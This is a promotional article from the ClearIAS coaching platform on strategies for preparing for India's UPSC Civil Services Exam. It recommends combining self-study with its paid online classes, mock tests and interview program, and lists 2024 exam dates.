It is possible to crack UPSC CSE by self-study. However, this ‘Text-book based approach’ by self-study is more time-consuming when compared to preparing with the help of expert coaching and proper resources .

In recent times, it’s rare to see an aspirant who secured a top rank in UPSC CSE in his/her first attempt entirely by self-preparation, unless he started his/her preparation very early.

This is because covering the vast syllabus of UPSC CSE entirely by self-study takes a lot of time – usually multiple years.

Also, the candidate should be highly disciplined and self-motivated to pursue the path of self-study. It has been observed that most aspirants who prepare alone without guidance tend to lose focus soon. It’s not uncommon to see aspirants in the UPSC preparation field for 3-4 years but not finish half of the UPSC topics by self-study.

Working professionals or college students who have only a few hours to invest daily in UPSC CSE preparation should not depend solely on self-study. They should seek an approach which will help them cover topics faster and efficiently.

To sum up, even though self-study per se is cheaper, it is not recommended for aspirants who value time as the most important commodity in life.

Approach 2: Learning with the help of UPSC Mock Exams

Many aspirants, who realise the importance of practice for success, learn by integrating mock exams into their preparation.

This method of ‘Test-based Learning’ is faster than ‘Text-based Learning’.

As part of the ClearIAS Test-based approach , we help aspirants learn by taking 40 online mock exams.

In this method, other than adopting mock exams for practice, the whole learning is done by the aspirant himself.

Even though this approach is more efficient than solely depending on textbooks for preparation, you can learn faster and more focused if you get to chance to learn directly from expert faculties – online or offline.

Approach 3: Learning with the help of expert UPSC Coaching

There is nothing to be ashamed of about taking proper training to improve your knowledge and skills.

UPSC Coaching – online or offline – will help aspirants learn topics faster. It will save precious youth years.

This will give you all the required resources in your arsenal like study materials, mock exams, guidance, expert classes for every subject, and techniques to boost your marks.

However, not all coaching is the same.

There are a few coaching platforms which give quality guidance and exam-oriented training. Having said that, there are hundreds of platforms/institutes which do not add any value to aspirants despite charging lakhs of rupees as fees.

Methods adopted by many traditional coaching institutes do not help crack the latest requirements and change patterns of UPSC.

Aspirants should keep this in mind before joining any coaching.

Don’t go just behind mass trends or advertisements.

Try to assess the quality of coaching and credibility of the faculties yourself.

You may also check previous toppers’ reviews before joining any programs.

Self-Study + Smart-Study = Success

You might have heard this quote ‘ It takes two hands to clap ‘. This is true with respect to the success in the UPSC CSE as well.

No coaching platform can make a lazy student IAS, IPS, or IFS officer.

Unless the student’s effort matches the coaching, there won’t be good results.

When your individual effort meets the right training, you get exceptional results.

Proper guidance and the right practice are crucial for success in every field. This is particularly true in academics and competitive exams.

When it comes to competitive exams, classes by expert faculties and guidance by top mentors always give candidates a great advantage.

ClearIAS is led by the expert Civil Service Trainer and popular author Alex Andrews George , who is well-reputed for his unmatched training and teaching methodologies.

Along with Mr Alex Andrews George, 15 other expert faculties are part of the ClearIAS Team behind the Prelims cum Mains (PCM) Program.

In our experience, we have seen a combination of self-study by aspirants along with the smart-study training of ClearIAS produces great success.

ClearIAS Online Classroom Program is loved by aspirants for the equal emphasis given to Knowledge and Exam Skills.

Our unique training and smart work approach will sharpen your potential and help you crack UPSC CSE much faster.

Besides, this will help you save a lot of time, effort, and money.

The Smart Approach Recommended by ClearIAS

Please find the 7 steps we recommend for aspirants to succeed in the UPSC Services Examination.

• Step 1:  Join ClearIAS Online Classroom Program (ClearIAS Online Classes)
• Step 2:  Prepare Notes based on ClearIAS Classes
• Step 3:  Self-Study  (Learn ClearIAS Notes, NCERT Textbooks and Standard Textbooks)
• Step 4:  Take ClearIAS Prelims Online Mock Exams
• Step 5:  Take ClearIAS Mains Mock Exams . Polish your answer writing skills

Step 6: Learn the Optional Subject

• Step 7:  Participate in the ClearIAS Interview Program

Note: Once you  join the ClearIAS Online Classroom Program  (ClearIAS Classes) you will get detailed guidance and personal mentorship regarding all stages of UPSC preparation.

ClearIAS: Self-Study OR Smart-Study – We have got you covered!

ClearIAS is a reputed online learning platform trusted by toppers since 2012.

You can read testimonials of ClearIAS online students who emerged as UPSC toppers here .

Our methods and approaches are different. We focus on smart work which helps aspirants to crack UPSC CSE faster.

It is the vision of ClearIAS that no candidate should be left out of the UPSC competition due to financial constraints.

ClearIAS offers expert UPSC Coaching and better features at less than half of the fees charged by many traditional coaching institutes.

Further, along with our premium resources which help in smart study , ClearIAS also provides a lot of free resources  for self-study .

Road Map for Success in UPSC CSE: ClearIAS Recommendation

Step 1: Join ClearIAS Online Classroom Program (ClearIAS Classes)

Right guidance and proper training can greatly increase your chance of success in the UPSC Civil Services Examination (CSE).

If you are serious about your UPSC CSE preparation, we strongly recommend you combine your self-study efforts with the smart training provided by ClearIAS .

There are  different plans  for Prelims and Mains.

For those aspirants who are looking for a 1-Year long program to build their foundation of both Prelims and Mains well, ClearIAS offers Prelims cum Mains (PCM) Integrated Programs .

ClearIAS Prelims cum Mains (PCM)  is a mega package that includes almost all products/services necessary for you to crack UPSC CSE like:

This is the flagship program of ClearIAS which involves live classes and recorded classes.

ClearIAS Online Classroom Program (ClearIAS Classes) offers almost everything you need to crack the UPSC CSE like

• Live Classes
• Recorded Classes
• Personal Mentorship
• Study Materials (PDF)
• ClearIAS UPSC Prelims Online Mock Test Series
• ClearIAS UPSC Mains Mock Test Series
• ClearIAS UPSC Mains Anwer Writing Practise (AWP)
• Interview Guidance etc.

Join ClearIAS Classes

Step 2: Prepare Notes based on ClearIAS Classes

ClearIAS Online Classes are two-way interactive sessions.

We strongly recommend students take down important points discussed in classes in their respective subject notebooks.

This not only increases their attention in online classes but also greatly helps them in learning and revision.

We strongly recommend the revision of class notes daily.

Step 3: Self-Study (Learn ClearIAS Notes, NCERT Textbooks and Standard Textbooks)

ClearIAS greatly reduces the hard work of aspirants and helps them prepare in a focused manner. However, self-study is crucial for success.

As mentors, we guide aspirants on how to channel their self-efforts to remain more efficient and disciplined.

ClearIAS Live Classes are usually for 2 hours per day. For an aspirant who studies 8 hours per day, there are 6 hours left in the day. This time, we recommend aspirants use it for self-study – but in a focused manner.

Aspirants are recommended to go through (1) ClearIAS Notes (2) NCERT Textbooks and (3) Standard Textbooks as part of their self-study.

To remain efficient in preparation, we recommend aspirants to attend ClearIAS Classes from Monday to Friday and take ClearIAS Mock Exams on Saturday or Sunday based on ClearIAS Timetable . However, our study plan is flexible. Students are free to attend classes or exams whenever they are comfortable doing so.

Step 4: Take ClearIAS Prelims Online Mock Exams

Practice does not make perfect. Only perfect practice makes perfect. – Vince Lombardi

Aspirants need the perfect practice of model exams of UPSC CSE Prelims to adapt to the requirements of UPSC. Regarding this, ClearIAS provides 4 types of mock exam packages.

• ClearIAS Prelims Online Mock Test Series – General Studies Paper 1
• ClearIAS Prelims Online Mock Test Series – General Studies Paper 2 or CSAT
• ClearIAS UPSC Previous Year Questions Re-Take Exams – General Studies Paper 1
• ClearIAS UPSC Previous Year Questions Re-Take Exams – General Studies Paper 2 or CSAT

Note: Once you join the ClearIAS Online Classroom Program (Ultimate Plan) , you will get access to all four packages as part of the ClearIAS Prelims Test Series (worth more than Rs.10000).

Step 5: Take ClearIAS Mains Mock Exams. Polish your answer writing skills

As part of the ClearIAS Ultimate Plan , ClearIAS will conduct UPSC CSE Mains Answer Writing Practice (AWP) sessions. This involves expert training and feedback on how to write a high-scoring answer (quality improvement).

Once aspirants learn the methods to write a well-structured answer, we will conduct Mains Mock Exams.

ClearIAS Mains Mock Test Series are model exams simulating actual UPSC CSE Mains with expert feedback.

With respect to CSE Mains, UPSC allows candidates to pick an optional subject from about 50 subjects mentioned in the UPSC Syllabus. This includes subjects like History, Geography, Political Science, Anthropology, Public Administration etc.

As an optional subject varies from candidate to candidate, this is not included in the ClearIAS Ultimate Plan . ClearIAS Ultimate Plan covers everything except optional paper (ie. the General Studies portion of Prelims and Mains along with CSAT in Prelims and Essay in Mains). Aspirants should study optional subjects separately. They are free to either join ClearIAS Optional Coaching or learn the subject by self-study.

Step 7: Participate in the ClearIAS Interview Program

ClearIAS Interview Program includes classes for personality development to score well in the UPSC interview. This is also included in the ClearIAS Online Classroom Program (Ultimate Plan) .

For the UPSC Interview, your bio-data (Detailed Application Form or DAF) is the most important thing. Try to figure out the most probable questions from the DAF. ClearIAS Team can help you with DAF analysis. Once you register for the ClearIAS Interview program , we will send you a list of the 30 most probable questions based on your DAF.

Also, take ClearIAS mock interviews to polish your communication and presentation skills.

All the best!

Text Books, Test Series, and Techniques: Success in UPSC CSE

Success in UPSC Civil Services Examination (CSE) = 50% Knowledge + 50% Skills (Strategies).

ClearIAS is a self-study +  smart-study online portal for UPSC aspirants. We have been giving equal importance to the knowledge part as well as skills. Our unique products like ClearIAS Online Classroom Program and ClearIAS Prelims Online Test Series incorporate both subject-knowledge as well as exam skills .

If you join ClearIAS Online Classroom includes the best use of all our recommended products like Test Series, Text Books, Techniques and Personal guidance.

3 stages in the UPSC Civil Services Exam

UPSC Civil Services Exam (CSE) consists of 3 stages.

The stages are (1) Preliminary Exam (objective) (2) Main Exam (written) and (3) the Interview (personality test).

3 ClearIAS strategies for success in the UPSC Civil Services Exam

For best results, we strongly recommend aspirants follow the three methods developed by ClearIAS in their UPSC preparation.

• ClearIAS Prelims-cum-Main Integrated Approach : By this method, we intend for aspirants to prepare for Mains and Prelims in an integrated manner. Overlapping topics should be combined. Non-overlapping topics (subject only for Mains) should be identified and learned separately. By following this method, aspirants will be  ready to face the Main exam  much earlier than other aspirants who start solely from the Prelims syllabus.
• ClearIAS TTT approach :  We advise you to make ‘ T-T-T ‘ ie.  ‘Textbooks’, ‘Testseries’, and ‘Techniques’ as the core part of your preparation strategy
• ClearIAS Test-based approach : Mock Exams are the fundamental basis of the ClearIAS learning program. Our method of training is such a way that aspirants learn by taking mock exams. ClearIAS Test-series  – which integrates learning with test-taking – combines textbooks and techniques to make aspirants exam-ready at the earliest.

Also read: How to Make a Study Plan for UPSC IAS Exam?

Download and Install ClearIAS Mobile Apps (FREE)

Install ClearIAS Learning App , ClearIAS Test-Prep App . and ClearIAS Classes App . You will get a lot of free study materials and guidance articles from these three apps. The apps will make your preparation quite easy and focused.

Usually, UPSC conducts the Civil Services Preliminary Exam in June. The Main Exam is usually conducted in September. The Personality Test takes almost 3 months to finish. UPSC conducts the CSE interview (or personality test) in the months of February – April.

The notification for the UPSC Civil Services Examination for 2024 will be published on February 14, 2023. You can apply for UPSC CSE 2024 between February 14, 2024, and March 05, 2024.

• UPSC CSE 2024 Prelims Date: May 26 2024 (Sunday)
• UPSC CSE 2024 Mains Date: September 20 2024 (5 days)
• UPSC CSE 2024 Interview Date:  January-March 2025 (expected)
• UPSC CSE 2024 Final Result Date: April 2025 (expected)

Also read: UPSC Prelims Exam Date 2024 for Civil Services Exam

Also read: UPSC 2024 Exam Calendar

UPSC Civil Services Exam – The Beginner’s Guide To Success (PDF)

Apart from all the resources mentioned above, ClearIAS has also published an ebook (PDF) “ UPSC Civil Services Exam – The Beginner’s Guide to Success “. You can download this book for FREE!

The ClearIAS Beginner’s Guide ebook (PDF) covers almost all of the queries of freshers (and even veterans) regarding the UPSC Civil Sevices Exam (CSE). This includes –

• UPSC Civil Services Exam Structure.
• How Should You Start IAS Preparation?
• How to clear UPSC CSE by self-study and online preparation?
• The winning strategies.
• Road Map to Success.
• Prelims cum Mains Integrated Approach.
• IAS Exam Eligibility.
• UPSC Medical Requirements.
• Latest UPSC Civil Services Exam Notification… and lots more.

ClearIAS ebook (PDF) “ UPSC Civil Services Exam – The Beginner’s Guide to Success ” can be a real game-changer for you!

Download PDF (FREE)

Beginner’s Guide to Clear IAS Prelims – UPSC CSE Guidance for the Preliminary Exam (Selected Posts)

• A Note Before You Begin IAS Preparation or Coaching .
• Smart Work for IAS Preparation .
• Strategy and Books for Early Birds To Clear IAS Exam .
• How to clear Civil Services prelims?
• How can smart aspirants like you clear UPSC Prelims ‘the smart way’?
• 5 reasons why you should take more UPSC Prelims mock tests
• Civil Service Prelims 6 Month Strategy – How Can You Clear UPSC Prelims in 6 Months?
• CSAT – What is the best strategy to prepare for the CSAT?
• 100-Day Action Plan to Clear IAS Prelims
• How much time will it take to clear the IAS prelims?
• IAS Books for Civil Services Prelims and Mains Exam Preparation .

For more analysis and articles on Preliminary Exam, regularly follow the category:  Civil Services Prelims .

Beginner’s Guide to Clear IAS Mains – UPSC CSE Guidance for the Main Exam (Selected Posts)

• Strategy and Study Plan for Clearing the IAS Mains Exam .
• How to clear Civil Services mains?
• How To Select IAS Mains Optional As Per The Latest UPSC Syllabus ?
• How To Write A Good Essay In Civil Service Mains Exam?
• What to Study for Ethics Paper in IAS Mains GS?
• World History for UPSC Mains: Understanding The Basics .
• Security and Disaster Management for UPSC Mains Exam .
• Indian Society For UPSC Civil Services Mains Exam .

For more analysis and articles on the Main Exam, regularly follow the category: Civil Services Mains .

Beginner’s Guide to Clear IAS Interview – UPSC CSE Guidance for the Personality Test (Selected Posts)

• Civil Services Interview – How To Make Sure That You Clear IAS?
• IAS Interview: 25 Golden Tips for Success
• Check List For The Candidates Attending UPSC Interview
• IAS Interview Syllabus: 6 Important UPSC Clues Which You Never Noticed Before
• ClearIAS UPSC CSE Interview Program: Maximize Your Personality Test Marks!
• Up to Which Rank Can An Aspirant Get Into IAS, IPS or IFS?
• Cut-Off Marks for UPSC Civil Services Exam: Trend Analysis

For more analysis and articles on the Main Exam, regularly follow the category: Civil Services Interview .

Beginner’s Guide: Know more about ClearIAS

ClearIAS is a pan-India learning platform founded by Mr Alex Andrews George in 2012.

More than 1 million IAS/IPS/IFS aspirants learn from the ClearIAS website and ClearIAS apps every month.

ClearIAS provides both free and premium resources – online and offline.

Know more about ClearIAS .

Book a FREE UPSC Mentorship Session with a ClearIAS Expert

Is your ambition to become an IAS, IPS, or IFS officer?

Do you want to surprise all by cracking UPSC CSE in the shortest possible time?

Register now for a free UPSC Mentorship session with an expert mentor of ClearIAS!

You will get a call or video from ClearIAS explaining the smartest strategy to crack UPSC CSE.

Call/Email Us: We are happy to help

We are happy to guide you.

You can call any of the below phone numbers to talk to our mentors:

If you wish to connect through email, you can email us at  [email protected] .

We will get back as soon as possible.

Don’t lose out without playing the right game!

Follow the ClearIAS Prelims cum Mains (PCM) Integrated Approach.

Join ClearIAS PCM Course Now

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